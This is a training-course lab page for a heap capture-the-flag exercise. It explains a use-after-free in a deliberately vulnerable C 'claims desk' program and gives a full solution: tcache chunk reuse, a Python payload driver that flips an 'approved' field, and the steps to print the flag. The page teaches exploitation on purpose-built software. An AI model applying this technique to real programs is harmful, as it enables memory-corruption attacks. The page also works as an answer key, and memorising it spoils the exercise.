Skip to content
Courses

Controlled Reuse: Claims Desk

The HeapLab 1 of 290 minutesLab

The claims desk opens, revises, and closes freight claims. It can also create a dispatch record, but no command approves that record. Without approval, the desk refuses to print the dispatch code.

Your goal is to get the dispatch code printed.

Download claims-desk-v1.0.0.tar into ~/underdunn-course/downloads and check it against this digest:

3e8b73329a69c21d3a1a9d8b58c07b50d33adf9c45c57b4dee462e27ffbba564 claims-desk-v1.0.0.tar
Terminal window
cd ~/underdunn-course/downloads
sha256sum claims-desk-v1.0.0.tar
mkdir -p ~/underdunn-course/labs/claims-desk
tar -xf claims-desk-v1.0.0.tar -C ~/underdunn-course/labs/claims-desk
cd ~/underdunn-course/labs/claims-desk/claims-desk-v1.0.0
sha256sum -c CHECKSUMS.sha256
sh build.sh

The build is silent under -Wall -Wextra.

Hint 1: where to look

Use every command normally before trying to make anything go wrong, and run status after each change. Then list every allocation, every free, and every pointer the desk keeps.

One command says an object is gone while another part of the program continues to hold its address.

Hint 2: the mechanism

close returns a claim to the allocator but does not clear the corresponding entry in claim[]. revise will still write through that stale pointer.

The useful question is what occupies the old address by the time that write happens.

Hint 3: prove the replacement

Read the request sizes in the source, then compare the addresses printed by open and dispatch. Try opening one claim, closing it, and creating the dispatch with no other allocations in between.

If the addresses match, the stale claim pointer and the live dispatch pointer lead to the same storage.

Hint 4: the field to change

The dispatch route occupies the first 32 bytes of struct dispatch_record. The four-byte approved field comes next. revise accepts up to 48 bytes, so reaching that field does not require an overflow.

Write 32 filler bytes followed by a nonzero four-byte integer, then check status again.

Hint 5: sending the bytes

The length after revise tells the program how many raw bytes to read next. A Python driver avoids putting four literal binary bytes into a shell command:

import sys
payload = b"A" * 32 + (1).to_bytes(4, "little")
sys.stdout.buffer.write(
b"open 0\nclose 0\ndispatch\n"
+ b"revise 0 %d\n" % len(payload)
+ payload
+ b"\nstatus\nrelease\nquit\n"
)

Save that as solve.py, then run python3 solve.py | ./claim.

The whole route

Open claim 0 and close it. The desk hands its 48-byte allocation back but retains the pointer. Create the dispatch next; its 48-byte request takes the same chunk from the matching tcache bin.

Send a 36-byte revision through the closed claim: 32 filler bytes for route, followed by the four-byte little-endian value 1 for approved. status now shows the same address under both names and reports approved=1. release prints the dispatch code.

The Python driver from Hint 5 performs the complete sequence.

Paste exactly the code the desk printed, with no surrounding whitespace:

Enter the complete flag, including UNDERDUNN{ and the closing brace. The check happens in your browser; the flag is not sent anywhere.

If an AddressSanitizer build behaves differently

AddressSanitizer reports the stale write, which is correct, and replaces the allocation behavior the lab is asking you to inspect. Measure and solve on the supplied plain build. Use an instrumented build afterward if you want to confirm the bug class.